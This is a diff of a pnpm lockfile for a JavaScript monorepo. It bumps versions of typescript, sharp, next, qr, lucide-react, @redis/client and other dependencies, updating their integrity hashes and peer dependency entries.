@@ importers: specifier: workspace:* version: link:../qr-encoder qr: - specifier: 0.7.0 - version: 0.7.0 + specifier: 0.7.2 + version: 0.7.2 devDependencies: '@resvg/resvg-js': specifier: ^2.6.2 version: 2.6.2 typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 packages/qr-encoder: devDependencies: qr: - specifier: 0.7.0 - version: 0.7.0 + specifier: 0.7.2 + version: 0.7.2 typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 packages/shared: dependencies: @@ -170,7 +170,7 @@ importers: version: link:../qr '@tma.js/init-data-node': specifier: ^2.0.8 - version: 2.0.8(typescript@5.9.3) + version: 2.0.8(typescript@6.0.3) zod: specifier: ^4.6.5 version: 4.6.5 @@ -179,8 +179,8 @@ importers: specifier: ^24.10.1 version: 24.13.6 typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 packages/ui: dependencies: @@ -194,8 +194,8 @@ importers: specifier: ^0.4.0 version: 0.4.0 lucide-react: - specifier: ^1.48.0 - version: 1.48.0(react@19.3.0) + specifier: ^1.49.0 + version: 1.49.0(@types/react@19.3.0)(react@19.3.0) react: specifier: ^19.3.0 version: 19.3.0 @@ -204,7 +204,7 @@ importers: version: 19.3.0(react@19.3.0) shadcn: specifier: ^4.21.0 - version: 4.21.0(typescript@5.9.3) + version: 4.21.0(typescript@6.0.3) tw-animate-css: specifier: ^1.4.0 version: 1.4.0 @@ -222,8 +222,8 @@ importers: specifier: ^4.3.3 version: 4.3.3 typescript: - specifier: ^5.9.3 - version: 5.9.3 + specifier: ^6.0.3 + version: 6.0.3 packages: @@ -747,160 +747,160 @@ packages: resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} engines: {node: '>=18'} - '@img/sharp-darwin-arm64@0.35.4': - resolution: {integrity: sha512-Uhfl4V4lhP2nbUVF9+hyH1+luj86f1gUFeo8ALYxFoULoU+G87D43BfeMP8XHsk9boxAnCY/bf2EHwhA7MuGsA==} + '@img/sharp-darwin-arm64@0.35.5': + resolution: {integrity: sha512-QRUlFQ0WxvdWyqqG/WtI3iupfD5rBzmCHXSdPsY91sAtVtTo7Q4cb6zOccZ3gqEqkr0f1As1ehLqmEpDsRf+lg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [darwin] - '@img/sharp-darwin-x64@0.35.4': - resolution: {integrity: sha512-hWniXY3bG5qKpkKrAwPe4y+VTPmf086YQAnkxWh7uA1YrlRouWGa0M0Mxj3ZjnXFkv7/TD1bTy9lGUK26vRvWw==} + '@img/sharp-darwin-x64@0.35.5': + resolution: {integrity: sha512-+BR255RhDlpygUpOc/Jdt1nT6DQ3XG/ERo5wbcdOf5Q320dKtPCKPLR1LJs9VGXRaMa8l1uUa0tkCNOXiAxZUw==} engines: {node: '>=20.9.0'} cpu: [x64] os: [darwin] - '@img/sharp-freebsd-wasm32@0.35.4': - resolution: {integrity: sha512-lIsKw/BU+kjB4eZjxrYrZmwOJYi3Ajrv66iAlBmUPyKc3HpnloevB1g3wxGD9P/5BbQ1brBGl65VRRrCvQDEqA==} + '@img/sharp-freebsd-wasm32@0.35.5': + resolution: {integrity: sha512-Y/z91nEZ4uIBX5X3nfTovjU9lHNKFYbL2lpHCLVNmXQK03VIZvXBBt0KxbPGp2SdGSF+2mQU4e+hQaWOt86iAw==} engines: {node: '>=20.9.0'} os: [freebsd] - '@img/sharp-libvips-darwin-arm64@1.3.3': - resolution: {integrity: sha512-suTBPTDGrI9WodccaDdwZItTSaBYASlBk1NSfElSHrUfzu3szG6lvIF58+WiFvnfzuK8ZBFS5zE00PxqxnRiPg==} + '@img/sharp-libvips-darwin-arm64@1.3.4': + resolution: {integrity: sha512-5R89nBYiRdUlSWJxPhO+GVtaXzXSxKnRu/xqMn3KTA3L9EB9Oy/P+Nn2f2vlhPuUdy/Zusb2DarbyTpGCfEDuw==} cpu: [arm64] os: [darwin] - '@img/sharp-libvips-darwin-x64@1.3.3': - resolution: {integrity: sha512-FVJZ5mITMobmXIz/hPDTw0EintTW5H3WfrxwLqEqjiIihlu+hVRyGrFQ60xl0Lxn7Bt3zdpevPaQi0HEzqz9fw==} + '@img/sharp-libvips-darwin-x64@1.3.4': + resolution: {integrity: sha512-iR2OKH80yi0U+dUplyh3/xdpFvps6YkCwsXenIJxqxR1v9o+xtKTGbS9H7cps+2Vxjc8B1j96p75NmTGjIhtpQ==} cpu: [x64] os: [darwin] - '@img/sharp-libvips-linux-arm64@1.3.3': - resolution: {integrity: sha512-0DaL0A6Xu6sQSQFwe4iVCrKWU2cCTItnRsYsCdxAMm9NF6twAA9BKnoqy4hqz4+azQ0JHuA26qiUKsf1XJ/v5A==} + '@img/sharp-libvips-linux-arm64@1.3.4': + resolution: {integrity: sha512-Y3dgX/6lE2QhQb+Gxy0WZxfg9MEm/JBjamZpS2IklP7xIQoKN4hzAm7KcMVGtaVDt3neE9OKBC7vAfonA/Lr1A==} cpu: [arm64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-arm@1.3.3': - resolution: {integrity: sha512-3rbU4vqXXc3hY/OiXdl52xZvT0F1yEngWfvqudtPJg/KkyiaQw2DRsFrNzpmLvfavbwOq3qXn36GP8obHRULQA==} + '@img/sharp-libvips-linux-arm@1.3.4': + resolution: {integrity: sha512-LmRtTsOHuvM2+wlO2Db37dx5MiZhB0FvSunciw48YjdOkZz9KAiRbm8ujeMOA1INqmei5NapFxYEK1D1ZSidmw==} cpu: [arm] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-ppc64@1.3.3': - resolution: {integrity: sha512-cdn1OvUBwsXhbC0zSzJnNzf5MZ/mTrobawDvNXBTxe8VtqKAm0sRuEY2Evzovb/w9JMk4TvRxqt1mekSuJz64w==} + '@img/sharp-libvips-linux-ppc64@1.3.4': + resolution: {integrity: sha512-Le6boB8Tai0Nis+gIxIpKx68UDVVIqdR8Tin5Yf1z2LJJQLDJvCDRqRu+jC2qCoD+eIomonmOwB4smBRxfVpYQ==} cpu: [ppc64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-riscv64@1.3.3': - resolution: {integrity: sha512-HjPVx7yKz+0lqdhDlTw1tt90wamBoxhiXpvl1XZpJLiHH4RCJ5yDTqH+VlYPv2fwFs89JFw4c1IexYOcQUi4IQ==} + '@img/sharp-libvips-linux-riscv64@1.3.4': + resolution: {integrity: sha512-aHkkIEHPRdQEegJN20MLmGtxYD9R2wQr3Cwpddnu5+YKMt6Uzax7S9h5gpZTo8wyrGuZSlfQ63OevL5mTyOC7Q==} cpu: [riscv64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-s390x@1.3.3': - resolution: {integrity: sha512-neWLh+3yCNThxnfy3c4BbVBeGgt9aftno+XbT56iK28RgeDs3UOFWviLWlUu0bArYVYJaFDK+RRohbicUNCm8Q==} + '@img/sharp-libvips-linux-s390x@1.3.4': + resolution: {integrity: sha512-ra/mB6MikESDUO7Yg+Mi95bFBb9GsObURuhnOv3OqknjGe9sZrG8tCe9q0xSIGrtLgvgw0gKnFWcK4blSgQOuQ==} cpu: [s390x] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-x64@1.3.3': - resolution: {integrity: sha512-4vKmvAst9nrowcqquKFAyZJUDolUaIp8uRiN0mWFguJ1IplC9/pitXtlnnlU4aa/eJw3J7i67V+pwUL+wZGdsA==} + '@img/sharp-libvips-linux-x64@1.3.4': + resolution: {integrity: sha512-GJ//SSXbnwSDes02umB3nDJLFcQzw8a18V8fyhqr6tV515tOEMdImjjxj1AoafMRz56F3PHgftnj1QEKSU1zkw==} cpu: [x64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linuxmusl-arm64@1.3.3': - resolution: {integrity: sha512-Y9kQaLMuNoB0bPYOOdcZMaseNrFpPodIWWMrx+CZyydf2xn68j9WYc6sWWRrDwNkzCQjKYfc68L7jKjGlHMibw==} + '@img/sharp-libvips-linuxmusl-arm64@1.3.4': + resolution: {integrity: sha512-hvulFwtjUcagsis6BBxHwGFwWoNZjgYmULGVrZcyfNbjA8hKILbRxGg15/7w5HDyXHXUos/j6baAWqnCyQ2DWA==} cpu: [arm64] os: [linux] libc: [musl] - '@img/sharp-libvips-linuxmusl-x64@1.3.3': - resolution: {integrity: sha512-fj8Mv0HHfD1Rr+4I68+3agJynxDWtBFgicTbSOb9Bke6pIwzGcJ+RX/yHjmiEGFMCavY/dxvem7MyNaJF+wDiw==} + '@img/sharp-libvips-linuxmusl-x64@1.3.4': + resolution: {integrity: sha512-6zXKeE/p39I1AmA3cJG35eyBGNqNddLnUXjhwBnsGjFPWqf5VKkDBEqaEkPDoTEtkxwi2vv8Tcr2mDyP4So7Fg==} cpu: [x64] os: [linux] libc: [musl] - '@img/sharp-linux-arm64@0.35.4': - resolution: {integrity: sha512-De4jpEnAU8Hd5oT0j1G3uL4ZvTuipVMn7YC6vPaJhy6/7EwEae0SVAoBrUMYQbkLGDm85taVWwuPc1a44LTzCQ==} + '@img/sharp-linux-arm64@0.35.5': + resolution: {integrity: sha512-LYVx5JTsOM2CBzmxreh+nl64/3H6Xb09iSLknqH47z2T2DFFxDeFLP5y4dJwe6H7uGQlHPyEEtIqyo3DYsRwdQ==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] libc: [glibc] - '@img/sharp-linux-arm@0.35.4': - resolution: {integrity: sha512-7OAS8gI0EReKGVN2HssHlM6umJgxF5VI3xN0p9FA91p/YO+ou5hiNghLdZ5BEHztwaaK5+bLKRf8x/o2L2nk9A==} + '@img/sharp-linux-arm@0.35.5': + resolution: {integrity: sha512-LEaXK2WdXVK5ykcw0buWyPMsmLLL2vpHLD6yrNSW+JGEL3BZPA4tpKN6iaMc4AxTTAoaX/sU1rOL51lcIz48ZQ==} engines: {node: '>=20.9.0'} cpu: [arm] os: [linux] libc: [glibc] - '@img/sharp-linux-ppc64@0.35.4': - resolution: {integrity: sha512-2oYZJeIl4kCcMGk4ouZVjnkCtFrpQFlNEtJ6GbxzhHQchwH0NH/qEb9ykmOl29dqwMq+JhFdZn+1ak2FKhI9fQ==} + '@img/sharp-linux-ppc64@0.35.5': + resolution: {integrity: sha512-QVxAAq8evVRI9ia2vqgwrmWucn5Dfv+JdWzj75pD8omHLPSP7f8p20O8jxzjCcuCEQEOtYOZUmX1hkiZ0kdevA==} engines: {node: '>=20.9.0'} cpu: [ppc64] os: [linux] libc: [glibc] - '@img/sharp-linux-riscv64@0.35.4': - resolution: {integrity: sha512-cPbNChoRURAWdebDIHSenxRpgEdy7JkPydSnUxRm9VvKD7m0/xVaR/8Fzlu81pk5nHEvHH87UZUA7cTtwnbJSA==} + '@img/sharp-linux-riscv64@0.35.5': + resolution: {integrity: sha512-LtdreXguaavKODPIfzJ4kffx7UNt1omwtK0rch4EBbbSTXPnxWmYSayXdLJw0fJzQ97kHt1gL/yh4tvU+nCyRQ==} engines: {node: '>=20.9.0'} cpu: [riscv64] os: [linux] libc: [glibc] - '@img/sharp-linux-s390x@0.35.4': - resolution: {integrity: sha512-RY0JFY8Fd6RonCBtHz+DvadaPkXDSI1AUn6yWL9TipqkZ1vY8w8evqdgyDFnkm4/K1ve1TvZiaePP5oSd4+WVQ==} + '@img/sharp-linux-s390x@0.35.5': + resolution: {integrity: sha512-UZasTOFiYzotTsGOCu42BfUzP6Tu6Do/947iRm1RsLKvlllxwGcn4RN27LibGWceix4Y+Pmw3jsnTcCQIgWjqA==} engines: {node: '>=20.9.0'} cpu: [s390x] os: [linux] libc: [glibc] - '@img/sharp-linux-x64@0.35.4': - resolution: {integrity: sha512-9qvvEAuk8k89TfWUoX2htWjbAMX8p+NxCppjpcg5k6xMsjhBQPTsoIh36h9Qde4WRuGpJeYnOjdosDn/cnv+OA==} + '@img/sharp-linux-x64@0.35.5': + resolution: {integrity: sha512-SxFtLTeJInhAA9Q836kux2vZNeOBQEx658qvbboZScr0wIARym3IcGmW7KpVD5sbVg0Ojy+udFQdayYIZyoNog==} engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] libc: [glibc] - '@img/sharp-linuxmusl-arm64@0.35.4': - resolution: {integrity: sha512-KB5jxpfWQTr0nc3xdHtWChdbifHrBGsd2SM62Eyxrl8afikm+f5qGBU75SJIZBT/S1MC8XyacdlXBMSWq6OURA==} + '@img/sharp-linuxmusl-arm64@0.35.5': + resolution: {integrity: sha512-9HbMclmI1zlNkFRs3z9/eBtDjfD0sGlrX1z6b1qwmiFY5ElDLh4BC0LPBdVp7z1DXFiKlIcznf+ZlsuZzLxQqg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] libc: [musl] - '@img/sharp-linuxmusl-x64@0.35.4': - resolution: {integrity: sha512-f+eZJZIQNEEd26RPSW+76chwOf1XtA2Y/O+5ocVyLliHkeih3e+jhLVBdNTd2rS3IbNXK8+ug93Vf5ZXtF5Lxg==} + '@img/sharp-linuxmusl-x64@0.35.5': + resolution: {integrity: sha512-4KOphqB035HrVdqLZfCgMzzERrQkkzOwRhl4OAkRO1YCldbaFjySXMaK534Mo0V+LndnlJk+sbUyLeU0ULyD1A==} engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] libc: [musl] - '@img/sharp-wasm32@0.35.4': - resolution: {integrity: sha512-zQnl4Kwp7Q6NHsENtU2T/00Zi+w3AQNwz3+UaTyVBy2FpXrzXzGjndpK61onhZjRtRpQXxCTeqw19bVyXOh7jA==} + '@img/sharp-wasm32@0.35.5': + resolution: {integrity: sha512-Ptsga1su4tQx+LLF1ECS9U6nz5kmrXKo6XVbtR48Ke3ZRxxgaWBu7IDtEe1quo8hiupwm6WFqxVlXaSf7IINGQ==} engines: {node: '>=20.9.0'} - '@img/sharp-webcontainers-wasm32@0.35.4': - resolution: {integrity: sha512-ESfNkywmCfPNyaZjxooddJQiQ+l/nTpGEOGthxiLnIHXC/CmcBixnfwUleX9mCz9ovrUUvKMap/pm8RYbzfwaA==} + '@img/sharp-webcontainers-wasm32@0.35.5': + resolution: {integrity: sha512-hfhF/FmoQyTUkA0bIKFOtw536BQSeBMe6BF6QyWlrPxT754+TFLaZ7sKKTfvvM0yJgKgaYTwnFCIZ/GuDw5SUA==} engines: {node: '>=20.9.0'} cpu: [wasm32] - '@img/sharp-win32-arm64@0.35.4': - resolution: {integrity: sha512-iNdlBX9gLVvqe2I3uIJSIKTq6wckP/DYxZtcqxm09x5Gi24DnFBmPAWZmr60ZyYMG0xlzo6goG3670ar+RXvRw==} + '@img/sharp-win32-arm64@0.35.5': + resolution: {integrity: sha512-X4t7g+7ZA5DKblCBEXGjUqqemj4vczING/5viFwAL8h4N3qYeyjwdCvRLHi4EdOUI+2Z7UFlp1VM+p/AuEtm6Q==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [win32] - '@img/sharp-win32-ia32@0.35.4': - resolution: {integrity: sha512-kqRsbaa5CS6KHlpxnN7WhE6vAAugXyZButpRdvDWetlv6Qv4N9WTcrWzF7tXfB9T7MsoadqdI8hmwLq6UlLvtw==} + '@img/sharp-win32-ia32@0.35.5': + resolution: {integrity: sha512-5Zm82LoBc43nhwNybZlG7Y1KO//Zhsn306fQl29ZOuStHLGTo3BWL83q3cznX0poxSAMuYL1On/BHBxkBeKr6A==} engines: {node: ^20.9.0} cpu: [ia32] os: [win32] - '@img/sharp-win32-x64@0.35.4': - resolution: {integrity: sha512-XtmnYhBcrORsJ4XJngyzr/EWP0hRZLAZRFaApdKuviyqF78+ylxh2y06ZmtULAMOnObJ3ucpN0AcwSWnMowTRg==} + '@img/sharp-win32-x64@0.35.5': + resolution: {integrity: sha512-x76eH0vEiHlcMQu8Y8IenntaACtddpT6W0wmXtWrnKcnKI7ME5DdgqhAD6SEWOEl1v2zDvkZDhFA9KnURwpfqg==} engines: {node: '>=20.9.0'} cpu: [x64] os: [win32] @@ -947,57 +947,57 @@ packages: '@emnapi/core': ^1.7.1 || ^2.0.0-alpha.4 '@emnapi/runtime': ^1.7.1 || ^2.0.0-alpha.4 - '@next/env@16.3.5': - resolution: {integrity: sha512-NWEXVDMqoEo0ktmU6u0sE2Vg0LOcsD7NnOTJNo3/fEaTfsg+F1bMIxuDmQbda4e3yTIQwVdUREF2yIuMOusKtg==} + '@next/env@16.3.8': + resolution: {integrity: sha512-Al9zqHVV7TJv0eFuOU4U7Lvv74PTih4Ch63sk2xCIpSTkE3udFnaOcnzP2lQVymiL7yS9Cj2iClUXlR3EQ5sEw==} - '@next/swc-darwin-arm64@16.3.5': - resolution: {integrity: sha512-pMmGgETfKvElucLHtVaeiMRbp2zUbvKx7b1yGko0liBz3cw1mKSggWN/Rp/wPz8z+E1O82u3r4L1Co+ZS5hokQ==} + '@next/swc-darwin-arm64@16.3.8': + resolution: {integrity: sha512-2JPRMh2nmQG5CiL7cXGL9AGwnPWJQ//cTtAUCT+w511QHk79SYz3LGv/pc5X643B/WEO0rvu3Yww0hqwt3kgeA==} engines: {node: '>= 10'} cpu: [arm64] os: [darwin] - '@next/swc-darwin-x64@16.3.5': - resolution: {integrity: sha512-76VaGYvf6HPa5/w12yLkE3dXTn9AfdEviI79oEL3aZoAmRLc9rWitjWqyjViVysK/ht/y9YKzFkBrUdi/wGkow==} + '@next/swc-darwin-x64@16.3.8': + resolution: {integrity: sha512-GZtCCOBKJ4leVIT/Th0llWKhD1ca92lzbQiS5R5ON9QkoiFnilFsebDae1JU2a3HWoKMEmEZWGs1AGLavVM72Q==} engines: {node: '>= 10'} cpu: [x64] os: [darwin] - '@next/swc-linux-arm64-gnu@16.3.5': - resolution: {integrity: sha512-zKDELJ5jSQMHeO/hmXUQsAzagX4bQD4OiMi3pQ5FbUj+yK506oLVHnKA2YXMlbg1EHHqJYtyePOgByIDXD1lqw==} + '@next/swc-linux-arm64-gnu@16.3.8': + resolution: {integrity: sha512-O659ygeQYqneJ1fBKMpFxIFqYkYswu8IAS1OCKK/4f3ZgJJm1dRz4fVJZRi/kLLWjnBKnebOePA4WNv+sV1pVA==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] libc: [glibc] - '@next/swc-linux-arm64-musl@16.3.5': - resolution: {integrity: sha512-7Vql0pgzCoHagv6+FNOZoqmJqA52c6zeVbhtS/47qFozO1MSx4ms7x7GHiciY8R5CDsSMKMQjJEryoJLcsBIbA==} + '@next/swc-linux-arm64-musl@16.3.8': + resolution: {integrity: sha512-dSjKSyWpzxoO1d3DIZZcP4XJcNaKeLmxQMFOiYl5vuBRMmweIqnAhty8tAmRsvTss779cK1FtYnDMj40e4TQlg==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] libc: [musl] - '@next/swc-linux-x64-gnu@16.3.5': - resolution: {integrity: sha512-NH/xzehyHEFWE2nlcZon7TB/0+H4shfWCi7S1zka815XCOhJDYZhoeJtOYy0dh0WVRWACVXSyGNFFytoMxUhRg==} + '@next/swc-linux-x64-gnu@16.3.8': + resolution: {integrity: sha512-lbqOuz3RPRcv+o9msNsJw5x4+Y1ZwPTs6vmL6DCf7i0fZfvng/F59wyeDwqHIvV0mK//RBy/jJkZ+nCKsSMXjQ==} engines: {node: '>= 10'} cpu: [x64] os: [linux] libc: [glibc] - '@next/swc-linux-x64-musl@16.3.5': - resolution: {integrity: sha512-lV4+EhWMfS8jcC+EH2nn/Cm5cn6XsgbE07bU9tMH8fCo0tNAqhyzi1b5wQ/Tn6NGFTvKDY65w3ZH95EjwBRAnQ==} + '@next/swc-linux-x64-musl@16.3.8': + resolution: {integrity: sha512-+316WswI8ScVgZeUd+1KGaXkHhaYQzCjvH/05TZSpJ8zBizb1a4G7DtO7F12jcBIqMOtsz9ji1t48fmKtzqsGA==} engines: {node: '>= 10'} cpu: [x64] os: [linux] libc: [musl] - '@next/swc-win32-arm64-msvc@16.3.5': - resolution: {integrity: sha512-/wKzAREX2RF++MhicjDbg8tGn2AiBIM0+EFeTFKoUEUbW5D6amCJehd5Z5G1H5/gxNdgnwoXMcHz24H/c2tGkQ==} + '@next/swc-win32-arm64-msvc@16.3.8': + resolution: {integrity: sha512-ji0gd4kMYUxO+1fJBIbiBVRCjzG/lloiyCccnlebvb1ZJ5qXCPZqYg4Jl1DrrixnWNMKylzgpmMWx0yNDYXlzw==} engines: {node: '>= 10'} cpu: [arm64] os: [win32] - '@next/swc-win32-x64-msvc@16.3.5': - resolution: {integrity: sha512-LNdCHzgLFc+UeqMS84LzXPaeBRKyqDN9OMyFAr1OrB0XrNw78IRrEVtZvvA7245W/HsaoeVOQX9jPjPk8jojwA==} + '@next/swc-win32-x64-msvc@16.3.8': + resolution: {integrity: sha512-WcTlaKt/TWkh5kUjdJcUmB1XgZ+1c6fz4Y9fDHL73YNSdGaUWjceeWrrlwF0nv19iABYWC4iAq1oX1w4Bn0vfg==} engines: {node: '>= 10'} cpu: [x64] os: [win32] @@ -1778,8 +1778,8 @@ packages: cpu: [x64] os: [win32] - '@redis/client@6.2.1': - resolution: {integrity: sha512-LzxBY7SIBvvJiyCgcaJZZakE3fJrZZ++i24+EDW9fKpCl68D35uJcKFpZZwCfOoG9WZTbyZlMzMeM0gtOAMU9Q==} + '@redis/client@6.3.0': + resolution: {integrity: sha512-fHrjwGCBvAANGi+TuRuwKi83sIOzgHr8eh+Uf48w3fSX7Hhrz174NrWqfJhAC2vnN0d/tfaZpdr6+o6JC3QHwg==} engines: {node: '>= 20.0.0'} peerDependencies: '@node-rs/xxhash': ^1.1.0 @@ -2303,8 +2303,8 @@ packages: resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} engines: {node: 18 || 20 || >=22} - baseline-browser-mapping@2.11.25: - resolution: {integrity: sha512-gMmEShwwq7FJqMwvfRwvCl00v4kN+KOfJqXn+f4nrufak5gNHJOksd/60Dvjuz7sI8Y5WiSFBa8FEYr+zoyqCw==} + baseline-browser-mapping@2.11.26: + resolution: {integrity: sha512-GLQdD3y6UF8iVuMJl5fHgE4jdn/ua7n+toKfLgNlg3BqQtOZjpy68T8Tup8/wGWZCDlm7KMg7tPb4MPn7oN0TQ==} engines: {node: '>=6.0.0'} hasBin: true @@ -2356,8 +2356,8 @@ packages: resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} engines: {node: '>=6'} - caniuse-lite@1.0.30001810: - resolution: {integrity: sha512-TITQPUkaz+aVk5GL6NhOdwk1aEaNTSDPsGFWrTuhKGtjTF70jL/Oht2W4c6rXUe5fu7Ie19VIahAXHIIiWWNeg==} + caniuse-lite@1.0.30001814: + resolution: {integrity: sha512-/Uaf1lAzr59XcMpW0o96WoEfr+VXK2OX4U9AgFoiSHsVJ4HppnIFUjtYzsyDH2+tgANaQb2/oxYGwCPapN1FpA==} chai@6.2.2: resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} @@ -2392,10 +2392,6 @@ packages: resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} engines: {node: '>=6'} - cluster-key-slot@1.1.2: - resolution: {integrity: sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==} - engines: {node: '>=0.10.0'} - cn@0.2.6: resolution: {integrity: sha512-+i4L0zUGgRcEnhsxueVrP7iBGxBx5iD0WOTYg1MwFEu2ZyCmH5Ov2V1cul2Ht5UchRQQgftCf4be/RxspuW6QQ==} engines: {node: '>=20'} @@ -3361,10 +3357,14 @@ packages: lru-cache@5.1.1: resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} - lucide-react@1.48.0: - resolution: {integrity: sha512-R0CIKY/fXiC6y9xRBADgsK+VW2p/pcTJOMhLZf1T+uG+vJUvyUR02nGOgmIIC7MPkiNK4Ox8QDnbqF8rJYWPZQ==} + lucide-react@1.49.0: + resolution: {integrity: sha512-ApfaNM4/7jBrVopqLJ84Jz8TMQ1Q1JeZ1PmKh25aeS3E1FTVcMkSh1bEQB7dfzdIrwXRP8p3z4AJjTIHHb5IIA==} peerDependencies: + '@types/react': '*' react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + '@types/react': + optional: true magic-string@0.30.21: resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} @@ -3446,8 +3446,8 @@ packages: resolution: {integrity: sha512-NMPBRMJgiQHjbd8phG3Vebdx4kZ1H121rbl5IkMqeOsahptB9BKo/d7oJ3zTXqTgagn2bWlNSXkh0QUGM31RYg==} engines: {node: '>=18'} - next@16.3.5: - resolution: {integrity: sha512-MdtsTgzyfCPRLC6uJ1mN8ao7lyJ4BB0U6Inhnx3gta1UcCIdHK3yxLG0E8OWQteWD8/Q0qb8A5o7wJaL8M9y2w==} + next@16.3.8: + resolution: {integrity: sha512-U7QEZaTini6wKrb8A8hqLLqYQyCetegKjCpJOyxk642vWoMoU1x5PyZCJFvgYgiptA8xc5j/9xYlZFO7w9Sjmw==} engines: {node: '>=20.9.0'} hasBin: true peerDependencies: @@ -3718,8 +3718,8 @@ packages: resolution: {integrity: sha512-+Owyggi9IxT1ePKGafcI87ubSmxol6smwJ+RAHDQlx9+9cPwFWDiKFFCPuWhr9ignlGpZ9vDQLw67N4dcTVFEA==} engines: {node: '>=20'} - qr@0.7.0: - resolution: {integrity: sha512-/VrrACmOAwZVipuRITwfEwOL5oAMEHH5PTmBWaGtlTom2Thxaa+rhmna4zU9PRN2uLw2wdccbkHOLGZb1Q9SdA==} + qr@0.7.2: + resolution: {integrity: sha512-yovYRuacJBJkG9fWSwcB2bKZhr58c04DpOXguDU+rAAoJZdi6/J3DtlomkKqdd1MutIptIK+kigWmT7LKz8y7A==} engines: {node: '>= 20.19.0'} qs@6.16.0: @@ -3832,8 +3832,8 @@ packages: engines: {node: '>=20.18.1'} hasBin: true - sharp@0.35.4: - resolution: {integrity: sha512-n++8XWcj+jCOr2IOl7h8LbKnGBDY4aPbmprMONBNFdn0ImXqpGVv5zliDs0V9HbmbCQLpbuo2ej9rAoOQTvMDA==} + sharp@0.35.5: + resolution: {integrity: sha512-Ywn4OnzGukp7CDMrp08RQ50YKmuwG47brZgIVPTvBaaAfQlRlygrRqSrxdCiL9M+LlzLBiJ68IR1QqvzHyjC7g==} engines: {node: '>=20.9.0'} peerDependencies: '@types/node': '*' @@ -3891,6 +3891,10 @@ packages: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} + source-map-js@1.2.2: + resolution: {integrity: sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==} + engines: {node: '>=0.10.0'} + source-map@0.6.1: resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} engines: {node: '>=0.10.0'} @@ -4018,8 +4022,8 @@ packages: tslib@2.8.1: resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} - tsx@4.23.13: - resolution: {integrity: sha512-BL5MGkRln6aDYhb0xbQlEAGw743BaZYWdbWtdJOBriYJboKgUUYCadFp2/FpBBZquBC/ezNBn7wMMPx7FDZUDw==} + tsx@4.23.15: + resolution: {integrity: sha512-Yiex1Ovn8z2xPpOWckIiysV1SSyRMY9BkLF++q0yKiDxCqRhosKfMg3janKkiLBwZ5c/YryloKwGZcrEmtwxKw==} engines: {node: '>=18.0.0'} hasBin: true @@ -4043,6 +4047,11 @@ packages: engines: {node: '>=14.17'} hasBin: true + typescript@6.0.3: + resolution: {integrity: sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==} + engines: {node: '>=14.17'} + hasBin: true + uint8array-extras@1.5.0: resolution: {integrity: sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==} engines: {node: '>=18'} @@ -4517,12 +4526,12 @@ snapshots: hashery: 1.5.1 keyv: 5.6.0 - '@commitlint/cli@21.2.3(@types/node@24.13.6)(conventional-commits-parser@7.1.2)(typescript@5.9.3)': + '@commitlint/cli@21.2.3(@types/node@24.13.6)(conventional-commits-parser@7.1.2)(typescript@6.0.3)': dependencies: '@commitlint/config-conventional': 21.2.3 '@commitlint/format': 21.2.3 '@commitlint/lint': 21.2.3 - '@commitlint/load': 21.2.3(@types/node@24.13.6)(typescript@5.9.3) + 